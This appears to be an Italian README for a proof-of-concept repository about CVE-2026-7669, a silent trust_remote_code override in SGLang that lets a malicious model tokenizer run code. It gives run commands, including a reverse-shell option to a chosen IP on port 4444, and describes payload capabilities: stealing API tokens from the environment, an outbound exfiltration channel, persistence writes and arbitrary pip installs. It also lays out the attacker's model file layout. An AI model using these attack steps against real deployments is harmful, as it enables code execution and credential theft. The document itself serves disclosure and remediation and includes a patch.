
PoC per CVE-2026-7669: override silenzioso di trust_remote_code in SGLang -> RCE
SGLang sovrascrive silenziosamente trust_remote_code=False in True e richiama nuovamente
AutoTokenizer.from_pretrained ogni volta che transformers v5 restituisce un
oggetto TokenizersBackend. Un modello con una tokenizer_class personalizzata e una
auto_map che punta a tokenizer.py raggiunge l'esecuzione arbitraria di codice
all'interno del processo SGLang anche quando l'operatore ha passato False. Nessuna riga
di log viene emessa a nessun livello.
main corrente (commit )fae90abf6python/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Altoif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
Introdotto nella PR #17784
(commit d1e95af28, 2026-03-18). La notifica originale logger.info(...)
è stata rimossa dal commit 27ac831a8 (2026-03-23) con un titolo "docs: improve CI
and testing documentation", lasciando la sovrascrittura completamente silenziosa in
ogni versione vulnerabile rilasciata.
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
Crea un'immagine Docker (python:3.12.7-slim-bookworm + transformers==5.3.0
Altre modalità:
./run.sh --server riproduci tramite TokenizerManager.__init__
./run.sh --versions matrice transformers 5.0..5.5
./run.sh --revshell IP reverse shell opzionale verso IP:4444
./run.sh --rebuild forza ricostruzione --no-cache
./run.sh --copy-ledger ./ledger.json
Uscita 0 significa confermato. Riepilogo finale:
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
Codici di uscita:
| Codice | Significato |
|---|---|
| 0 | Confermato |
| 1 | Non attivato |
| 2 | Falso positivo (transformers stesso ha eseguito tokenizer.py, il bug è a monte) |
| 3 | Preflight della versione bloccata fallito |
La fase di preflight legge pinned_versions.json e verifica ogni valore
contro l'ambiente di runtime. La deriva esce con codice 3 prima che venga eseguito qualsiasi test.
| Componente | Blocco |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| Commit SGLang | fae90abf6e15aaffb6fd924a439253674771487d |
SHA256 di hf_transformers_utils.py | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| SHA256 del blocco vulnerabile (righe 898-909) | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| Metrica | Valore | Supportato da |
|---|---|---|
| AV | N | I file di attivazione (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) sono il layout standard auto_map di HF Hub. Qualsiasi registry che li serve raggiunge il bug. |
| AC | L | PHASE-2 si attiva in modo deterministico in una singola esecuzione. Ogni condizione di attivazione è contenuto creato dall'attaccante. PRE-1..7 confermano nessun fingerprinting dell'ambiente. |
| PR | N | Un upload gratuito su HF Hub è sufficiente. Nulla nella catena di attivazione richiede privilegi preesistenti sulla vittima. |
| UI | R | L'attivazione avviene solo quando un operatore (o una pipeline configurata dall'operatore) invoca launch_server --model-path attacker/model. |
| S | U | Tutte le affermazioni SEV-* vengono eseguite all'interno dell'autorità del processo SGLang. Nessuna fuga dalla sandbox o dal container. |
| C | H | SEV-secrets cattura HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY dall'ambiente del processo. SEV-network apre un canale di esfiltrazione TCP in uscita. |
| I | H | SEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip sono quattro primitive di integrità indipendenti in diverse posizioni sensibili. |
| A | H | Dedotto da RCE. SEV-pip dimostra l'esecuzione arbitraria di sottoprocessi, che è la stessa primitiva necessaria per il self-DoS. Il PoC non dimostra direttamente un auto-kill. |
8.8 è il minimo conservativo. 9.6 (con S:C) e 10.0 (sia S:C che
UI:N) sono difendibili ma dipendono dal revisore.
UI:N non è giustificato per questa CVE. Il server HTTP di SGLang ha un
genuino bypass di default senza autenticazione quando api_key=None e admin_api_key=None
(verificato da AUTH-1 contro la primitiva decide_request_auth in
runtime), ma nessun endpoint HTTP raggiunge get_tokenizer dopo l'avvio
(verificato da CHAIN-1). Tutti e quattro i punti di chiamata di get_tokenizer
(TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__,
DetokenizerManager.__init__) vengono eseguiti una volta all'avvio del server dal
--model-path fornito dall'operatore. Il bypass di autenticazione è quindi un problema
separato e non un partner di catena per CVE-2026-7669.
Il PoC scrive un registro JSON in /tmp/poc_claim_ledger.json con 29
affermazioni singolarmente testabili. Usa ./run.sh --copy-ledger ./ledger.json
per estrarlo.
| Gruppo | Affermazioni |
|---|---|
PRE-1..7 | Versioni bloccate (Python, transformers, SHA256 dei file, conteggio righe, SHA256 del blocco di sovrascrittura, trust_remote_code predefinito, percorso sorgente) |
SRC-1 | Il sorgente importato di get_tokenizer contiene la sovrascrittura |
PHASE-1 | transformers rispetta direttamente trust_remote_code=False |
PHASE-1b, PHASE-1b-mech | SGLang senza le righe 898-909 rispetta False e fa esattamente una chiamata from_pretrained |
PHASE-2, PHASE-2-mech, PHASE-2-silent | Il vero SGLang esegue tokenizer.py. La traccia mostra chiamata 0 (False)->TokenizersBackend, chiamata 1 (True)->MaliciousTokenizer. Nessuna riga di log menziona trust_remote_code (cattura DEBUG su logger root e sglang). |
PHASE-2b | Patchato + True esplicito carica ancora (la patch è chirurgica) |
PHASE-3-rce, PHASE-3-via-override | La modalità tokenizer lenta raggiunge anch'essa RCE attraverso lo stesso percorso 898-909 |
SEV-write-sglang, SEV-write-launchsrv, SEV-write-model | Primitive di persistenza e diffusione laterale |
SEV-network | Canale di esfiltrazione TCP in uscita |
SEV-secrets | Cattura di segreti da variabili d'ambiente |
SEV-pip | Installazione pip arbitraria (supply chain) |
SEV-root | Processo eseguito come root nell'immagine lmsysorg |
AUTH-1 | ServerArgs predefiniti (api_key=None, admin_api_key=None) lasciano tutti gli endpoint raggiungibili senza autenticazione |
File del modello di attivazione (tutti controllati dall'attaccante, tutti consentiti da HF Hub):
attacker/model/
config.json model_type "gpt2" (in TOKENIZER_MAPPING_NAMES di transformers)
tokenizer_config.json tokenizer_class personalizzata + auto_map -> tokenizer.py
tokenizer.json tokenizer BPE valido (così il primo caricamento riesce)
tokenizer.py payload
model.safetensors pesi fittizi
Flusso di esecuzione all'interno di get_tokenizer(MODEL_DIR, trust_remote_code=False):
AutoTokenizer.from_pretrained(..., trust_remote_code=False).tokenizer_class personalizzata non nel suo
registro, ripiega su un TokenizersBackend generico costruito da
tokenizer.json. tokenizer.py non viene eseguito a questo punto.type(tokenizer).__name__ == "TokenizersBackend"
e riprovano silenziosamente con trust_remote_code=True.tokenizer.py.
Le istruzioni di primo livello vengono eseguite all'interno del processo SGLang.Il PHASE-2-mech del PoC cattura la traccia letteralmente:
[{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
{idx: 1, trust_remote_code: True, returned_type: "MaliciousTokenizer"}]
Elimina le righe 898-909. TokenizersBackend è un tokenizer utilizzabile per molti
carichi di lavoro e restituirlo così com'è è un default sicuro. Se un modello necessita
davvero di codice tokenizer personalizzato, l'operatore dovrebbe passare --trust-remote-code
esplicitamente.
In alternativa, registra un avviso evidente e restituisci TokenizersBackend senza
richiamare nuovamente from_pretrained:
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
logger.warning(
"Model %s requires a custom tokenizer but trust_remote_code=False. "
"Returning generic TokenizersBackend without executing tokenizer.py. "
"Restart with --trust-remote-code if the custom code is required.",
tokenizer_name,
)
PHASE-2b verifica che la patch minima sia chirurgica: trust_remote_code=True
esplicito carica ancora il modello.
trust_remote_code di HuggingFace: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrainedQuesto PoC è per ricerca di sicurezza difensiva e remediation. Il
tokenizer.py dannoso scrive solo in /tmp/sglang_poc_proof.txt
all'interno del container per impostazione predefinita. Non eseguirlo contro sistemi
che non possiedi o per cui non hai autorizzazione a testare.
ADMIN_OPTIONALAUTH-2, AUTH-3 | Controlli positivi che confermano che il middleware blocca l'accesso non autenticato e accetta bearer valido quando configurato |
CHAIN-1 | Nessun handler di endpoint HTTP invoca get_tokenizer() dopo l'avvio (zero punti di chiamata in http_server.py) |
CHAIN-2 | Verdetto esplicito: UI:N NON è giustificato per questa CVE. Il bypass di default senza autenticazione è reale ma non può raggiungere la sovrascrittura di trust_remote_code, perché tutti e quattro i chiamanti di get_tokenizer (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) sono percorsi __init__ eseguiti una volta all'avvio del server. L'operatore sceglie comunque il percorso del modello al momento di launch_server, quindi UI:R rimane valido. |